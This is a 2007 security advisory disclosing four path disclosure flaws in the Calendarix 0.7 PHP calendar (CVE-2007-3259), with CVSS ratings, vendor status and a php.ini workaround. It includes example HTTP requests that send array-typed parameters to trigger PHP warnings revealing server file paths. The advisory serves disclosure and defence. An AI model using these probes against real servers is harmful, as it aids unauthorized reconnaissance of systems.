netVigilance Security Advisory #36 Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities Description: Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps. External References: Mitre CVE: CVE-2007-3259 NVD NIST: CVE-2007-3259 OSVDB: 35371 Summary: Calendarix is a powerful and easy to use calendar based on PHP and MySQL. Security problems in the product allow attackers to gather the true path of the server-side script. Advisory URL: http://www.netvigilance.com/advisory0036 Release Date: 06/19/2007 Severity: Risk: Low CVSS Metrics Access Vector: Remote Access Complexity: Low Authentication: Not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 2.33 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: Path disclosure. SecureScout Testcase ID: TC 17968 Vulnerable Systems: Calendarix version 0.7. 20070307 Vulnerability Type: Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Vendor: Vincent Hor (Calendarix Enterprise) Vendor Status: Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time. Workaround: Disable warning messages: modify in the php.ini file following line: display_errors = Off. Example: Path Disclosure Vulnerability 1: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month[]=1 REPLY: <b>Warning</b>: Illegal offset type in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]calendar.php</b> on line <b>53</b><br /> Path Disclosure Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/cal_week.php?op=week&catview[]=1 REPLY: <b>Warning</b>: preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_header.inc.php</b> on line <b>91</b><br /> <b>Warning</b>: preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_header.inc.php</b> on line <b>92</b><br /> <b>Warning</b>: preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT- DIRECTORY] cal_header.inc.php </b> on line <b>93</b><br /> ... <b>Warning</b>: mysql_num_rows(): supplied argument is not a valid MySQL result resource in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_week.php</b> on line <b>184</b><br /> ... <b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_week.php</b> on line <b>186</b><br /> Path Disclosure Vulnerability 3: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/yearcal.php?ycyear[]=1 REPLY: <b>Fatal error</b>: Unsupported operand types in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]yearcal.php</b> on line <b>79</b><br /> Path Disclosure Vulnerability 4: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/cal_functions.inc.php REPLY: <b>Fatal error</b>: Call to undefined function: translate() in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_functions.inc.php</b> on line <b>17</b><br /> Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com ?? ?? ?? ??